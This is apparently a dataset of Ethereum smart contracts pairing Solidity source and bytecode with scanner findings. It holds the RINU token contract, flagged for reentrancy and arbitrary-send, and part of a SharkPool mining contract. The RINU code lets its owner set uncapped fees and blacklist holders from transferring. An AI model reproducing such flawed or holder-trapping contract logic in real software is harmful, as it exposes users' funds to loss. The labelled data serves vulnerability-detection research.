10791906118ae565b8160018151811061111a5761111a611916565b6001600160a01b039283166020918202929092010152600e546111409130911684610b16565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611179908590600090869030904290600401611974565b600060405180830381600087803b15801561119357600080fd5b505af11580156111a7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111c983856119e5565b90508381101561103b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610424565b610f4583838361128b565b6000806000611233611382565b90925090506112428282611249565b9250505090565b600061103b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113be565b60008060008060008061129d876113ec565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112cf9087611449565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112fe90866111bc565b6001600160a01b0389166000908152600260205260409020556113208161148b565b61132a84836114d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161136f91815260200190565b60405180910390a3505050505050505050565b60075460009081906509184e72a00061139b8282611249565b8210156113b5575050600754926509184e72a00092509050565b90939092509050565b600081836113df5760405162461bcd60e51b8152600401610424919061161d565b506000610f7b84866119fd565b60008060008060008060008060006114098a600954600a546114f9565b9250925092506000611419611226565b9050600080600061142c8e87878761154e565b919e509c509a509598509396509194505050505091939550919395565b600061103b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f4a565b6000611495611226565b905060006114a3838361159e565b306000908152600260205260409020549091506114c090826111bc565b30600090815260026020526040902055505050565b6007546114e29083611449565b6007556008546114f290826111bc565b6008555050565b6000808080611513606461150d898961159e565b90611249565b90506000611526606461150d8a8961159e565b9050600061153e826115388b86611449565b90611449565b9992985090965090945050505050565b600080808061155d888661159e565b9050600061156b888761159e565b90506000611579888861159e565b9050600061158b826115388686611449565b939b939a50919850919650505050505050565b6000826115ad575060006103f4565b60006115b98385611a1f565b9050826115c685836119fd565b1461103b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610424565b600060208083528351808285015260005b8181101561164a5785810183015185820160400152820161162e565b8181111561165c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044357600080fd5b803561169281611672565b919050565b600080604083850312156116aa57600080fd5b82356116b581611672565b946020939093013593505050565b6000602082840312156116d557600080fd5b5035919050565b6000806000606084860312156116f157600080fd5b83356116fc81611672565b9250602084013561170c81611672565b929592945050506040919091013590565b60006020828403121561172f57600080fd5b813561103b81611672565b801515811461044357600080fd5b60006020828403121561175a57600080fd5b813561103b8161173a565b6000806040838503121561177857600080fd5b823561178381611672565b9150602083013561179381611672565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117c757600080fd5b823567ffffffffffffffff808211156117df57600080fd5b818501915085601f8301126117f357600080fd5b8135818111156118055761180561179e565b8060051b604051601f19603f8301168101818110858211171561182a5761182a61179e565b60405291825284820192508381018501918883111561184857600080fd5b938501935b8285101561186d5761185e85611687565b8452938501939285019261184d565b98975050505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118c057600080fd5b815161103b81611672565b6000806000606084860312156118e057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561190b57600080fd5b815161103b8161173a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119565761195661192c565b5060010190565b60008282101561196f5761196f61192c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c45784516001600160a01b03168352938301939183019160010161199f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119f8576119f861192c565b500190565b600082611a1a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a3957611a3961192c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207dd76ca4a3130b1fac76c3a16768c123091808f2e5f3760107a2faf8fac6d36264736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,953 |
0xb49c1225a5eeec3cb91c82c457c85c582dd5c7c5 | //SPDX-License-Identifier: UNLICENSED
/*
8888888b. .d88888b. 888 888 8888888888 8888888b. 8888888 888b 888 888 888
888 Y88b d88P" "Y88b 888 888 888 888 Y88b 888 8888b 888 888 888
888 888 888 888 888 888 888 888 888 888 88888b 888 888 888
888 d88P 888 888 Y88b d88P 8888888 888 d88P 888 888Y88b 888 888 888
8888888P" 888 888 Y88b d88P 888 8888888P" 888 888 Y88b888 888 888
888 T88b 888 888 Y88o88P 888 888 T88b 888 888 Y88888 888 888
888 T88b Y88b. .d88P Y888P 888 888 T88b 888 888 Y8888 Y88b. .d88P
888 T88b "Y88888P" Y8P 8888888888 888 T88b 8888888 888 Y888 "Y88888P"
https://t.me/roverinutoken
https://t.me/roverinutoken
https://t.me/roverinutoken
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"ROVER INU";
string public constant symbol = unicode"RINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 5000000 * 10**9;
_maxHeldTokens = 15000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610592578063db92dbb6146105a7578063dcb0e0ad146105bc578063dd62ed3e146105dc57600080fd5b8063a9059cbb1461051d578063b2289c621461053d578063b515566a1461055d578063c3c8cd801461057d57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049a57806394b8d8f2146104b857806395d89b41146104d85780639e78fb4f1461050857600080fd5b80636fc3eaec1461043057806370a0823114610445578063715018a61461046557806373f54a111461047a57600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103ac57806349bd5a5e146103cc578063590f897e146104045780636755a4d01461041a57600080fd5b806331c2d8471461032757806332d873d8146103475780633bbac5791461035d57806340b9a54b1461039657600080fd5b80631940d020116101b65780631940d020146102b557806323b872dd146102cb57806327f3a72a146102eb578063313ce5671461030057600080fd5b806306fdde03146101f3578063095ea7b31461023e5780630b78f9c01461026e57806318160ddd1461029057600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061022860405180604001604052806009815260200168524f56455220494e5560b81b81525081565b6040516102359190611729565b60405180910390f35b34801561024a57600080fd5b5061025e6102593660046117a3565b610622565b6040519015158152602001610235565b34801561027a57600080fd5b5061028e6102893660046117cf565b610638565b005b34801561029c57600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102c157600080fd5b506102a7600d5481565b3480156102d757600080fd5b5061025e6102e63660046117f1565b6106b2565b3480156102f757600080fd5b506102a7610706565b34801561030c57600080fd5b50610315600981565b60405160ff9091168152602001610235565b34801561033357600080fd5b5061028e610342366004611848565b610716565b34801561035357600080fd5b506102a7600e5481565b34801561036957600080fd5b5061025e61037836600461190d565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a257600080fd5b506102a760095481565b3480156103b857600080fd5b5061028e6103c736600461192a565b6107ac565b3480156103d857600080fd5b506008546103ec906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b34801561041057600080fd5b506102a7600a5481565b34801561042657600080fd5b506102a7600c5481565b34801561043c57600080fd5b5061028e61083f565b34801561045157600080fd5b506102a761046036600461190d565b61084c565b34801561047157600080fd5b5061028e610867565b34801561048657600080fd5b5061028e61049536600461190d565b6108db565b3480156104a657600080fd5b506000546001600160a01b03166103ec565b3480156104c457600080fd5b50600f5461025e9062010000900460ff1681565b3480156104e457600080fd5b506102286040518060400160405280600481526020016352494e5560e01b81525081565b34801561051457600080fd5b5061028e610949565b34801561052957600080fd5b5061025e6105383660046117a3565b610b4e565b34801561054957600080fd5b506007546103ec906001600160a01b031681565b34801561056957600080fd5b5061028e610578366004611848565b610b5b565b34801561058957600080fd5b5061028e610c74565b34801561059e57600080fd5b5061028e610c8a565b3480156105b357600080fd5b506102a7610e86565b3480156105c857600080fd5b5061028e6105d7366004611951565b610e9e565b3480156105e857600080fd5b506102a76105f736600461196e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061062f338484610f1b565b50600192915050565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610662906119a7565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106bf84848461103f565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106ee9084906119f2565b90506106fb853383610f1b565b506001949350505050565b60006107113061084c565b905090565b6000546001600160a01b031633146107405760405162461bcd60e51b8152600401610662906119a7565b60005b81518110156107a85760006005600084848151811061076457610764611a09565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a081611a1f565b915050610743565b5050565b6000546001600160a01b031633146107d65760405162461bcd60e51b8152600401610662906119a7565b6007546001600160a01b0316336001600160a01b0316146107f657600080fd5b6000811161080357600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b47610849816113f6565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108915760405162461bcd60e51b8152600401610662906119a7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146108fb57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610834565b6000546001600160a01b031633146109735760405162461bcd60e51b8152600401610662906119a7565b600f5460ff16156109c05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610662565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a499190611a38565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611a38565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2b9190611a38565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062f33848461103f565b6000546001600160a01b03163314610b855760405162461bcd60e51b8152600401610662906119a7565b60005b81518110156107a85760085482516001600160a01b0390911690839083908110610bb457610bb4611a09565b60200260200101516001600160a01b031614158015610c05575060065482516001600160a01b0390911690839083908110610bf157610bf1611a09565b60200260200101516001600160a01b031614155b15610c6257600160056000848481518110610c2257610c22611a09565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c6c81611a1f565b915050610b88565b6000610c7f3061084c565b905061084981611430565b6000546001600160a01b03163314610cb45760405162461bcd60e51b8152600401610662906119a7565b600f5460ff1615610d015760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610662565b600654610d219030906001600160a01b0316670de0b6b3a7640000610f1b565b6006546001600160a01b031663f305d7194730610d3d8161084c565b600080610d526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddf9190611a55565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5c9190611a83565b50600f805460ff1916600117905542600e556611c37937e08000600c5566354a6ba7a18000600d55565b600854600090610711906001600160a01b031661084c565b6000546001600160a01b03163314610ec85760405162461bcd60e51b8152600401610662906119a7565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610834565b6001600160a01b038316610f7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610662565b6001600160a01b038216610fde5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610662565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561106557600080fd5b6001600160a01b0383166110c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610662565b6001600160a01b03821661112b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610662565b6000811161118d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610662565b600080546001600160a01b038581169116148015906111ba57506000546001600160a01b03848116911614155b15611397576008546001600160a01b0385811691161480156111ea57506006546001600160a01b03848116911614155b801561120f57506001600160a01b03831660009081526004602052604090205460ff16155b156112b057600f5460ff166112665760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610662565b42600e5460b46112769190611aa0565b11156112ac57600c5482111561128b57600080fd5b600d546112978461084c565b6112a19084611aa0565b11156112ac57600080fd5b5060015b600f54610100900460ff161580156112ca5750600f5460ff165b80156112e457506008546001600160a01b03858116911614155b156113975760006112f43061084c565b9050801561138057600f5462010000900460ff161561137757600b5460085460649190611329906001600160a01b031661084c565b6113339190611ab8565b61133d9190611ad7565b81111561137757600b5460085460649190611360906001600160a01b031661084c565b61136a9190611ab8565b6113749190611ad7565b90505b61138081611430565b47801561139057611390476113f6565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113d957506001600160a01b03841660009081526004602052604090205460ff165b156113e2575060005b6113ef85858584866115a4565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a8573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147457611474611a09565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f19190611a38565b8160018151811061150457611504611a09565b6001600160a01b03928316602091820292909201015260065461152a9130911684610f1b565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611563908590600090869030904290600401611af9565b600060405180830381600087803b15801561157d57600080fd5b505af1158015611591573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b60006115b083836115c6565b90506115be868686846115ea565b505050505050565b60008083156115e35782156115de57506009546115e3565b50600a545b9392505050565b6000806115f784846116c7565b6001600160a01b03881660009081526002602052604090205491935091506116209085906119f2565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611650908390611aa0565b6001600160a01b038616600090815260026020526040902055611672816116fb565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116b791815260200190565b60405180910390a3505050505050565b6000808060646116d78587611ab8565b6116e19190611ad7565b905060006116ef82876119f2565b96919550909350505050565b30600090815260026020526040902054611716908290611aa0565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117565785810183015185820160400152820161173a565b81811115611768576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461084957600080fd5b803561179e8161177e565b919050565b600080604083850312156117b657600080fd5b82356117c18161177e565b946020939093013593505050565b600080604083850312156117e257600080fd5b50508035926020909101359150565b60008060006060848603121561180657600080fd5b83356118118161177e565b925060208401356118218161177e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561185b57600080fd5b823567ffffffffffffffff8082111561187357600080fd5b818501915085601f83011261188757600080fd5b81358181111561189957611899611832565b8060051b604051601f19603f830116810181811085821117156118be576118be611832565b6040529182528482019250838101850191888311156118dc57600080fd5b938501935b82851015611901576118f285611793565b845293850193928501926118e1565b98975050505050505050565b60006020828403121561191f57600080fd5b81356115e38161177e565b60006020828403121561193c57600080fd5b5035919050565b801515811461084957600080fd5b60006020828403121561196357600080fd5b81356115e381611943565b6000806040838503121561198157600080fd5b823561198c8161177e565b9150602083013561199c8161177e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a0457611a046119dc565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611a3157611a316119dc565b5060010190565b600060208284031215611a4a57600080fd5b81516115e38161177e565b600080600060608486031215611a6a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a9557600080fd5b81516115e381611943565b60008219821115611ab357611ab36119dc565b500190565b6000816000190483118215151615611ad257611ad26119dc565b500290565b600082611af457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b495784516001600160a01b031683529383019391830191600101611b24565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122049f92d7c91c717ff8b52c82066997e34a33cfc1ccbd90653db57aeb0d863fe0164736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,954 |
0x4c13184721de2d1b47a8875775ba3ce0b2e00ee0 | pragma solidity ^0.4.13;
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="7200171f111d3240">[email protected]</span>π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// Minimal Bitcoineum interface for proxy mining
contract BitcoineumInterface {
function mine() payable;
function claim(uint256 _blockNumber, address forCreditTo);
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool);
function checkWinning(uint256 _blockNum) constant public returns (bool);
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
function currentDifficultyWei() constant public returns (uint256);
}
// Sharkpool is a rolling window Bitcoineum miner
// Smart contract based virtual mining
// http://www.bitcoineum.com/
contract SharkPool is Ownable, ReentrancyGuard {
string constant public pool_name = "SharkPool 200";
// Percentage of BTE pool takes for operations
uint256 public pool_percentage = 5;
// Limiting users because of gas limits
// I would not increase this value it could make the pool unstable
uint256 constant public max_users = 100;
// Track total users to switch to degraded case when contract is full
uint256 public total_users = 0;
uint256 public constant divisible_units = 10000000;
// How long will a payment event mine blocks for you
uint256 public contract_period = 100;
uint256 public mined_blocks = 1;
uint256 public claimed_blocks = 1;
uint256 public blockCreationRate = 0;
BitcoineumInterface base_contract;
struct user {
uint256 start_block;
uint256 end_block;
uint256 proportional_contribution;
}
mapping (address => user) public users;
mapping (uint256 => uint256) public attempts;
mapping(address => uint256) balances;
uint8[] slots;
address[256] public active_users; // Should equal max_users
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function set_pool_percentage(uint8 _percentage) external nonReentrant onlyOwner {
// Just in case owner is compromised
require(_percentage < 11);
pool_percentage = _percentage;
}
function find_contribution(address _who) constant external returns (uint256, uint256, uint256, uint256, uint256) {
if (users[_who].start_block > 0) {
user memory u = users[_who];
uint256 remaining_period= 0;
if (u.end_block > mined_blocks) {
remaining_period = u.end_block - mined_blocks;
} else {
remaining_period = 0;
}
return (u.start_block, u.end_block,
u.proportional_contribution,
u.proportional_contribution * contract_period,
u.proportional_contribution * remaining_period);
}
return (0,0,0,0,0);
}
function allocate_slot(address _who) internal {
if(total_users < max_users) {
// Just push into active_users
active_users[total_users] = _who;
total_users += 1;
} else {
// The maximum users have been reached, can we allocate a free space?
if (slots.length == 0) {
// There isn't any room left
revert();
} else {
uint8 location = slots[slots.length-1];
active_users[location] = _who;
delete slots[slots.length-1];
}
}
}
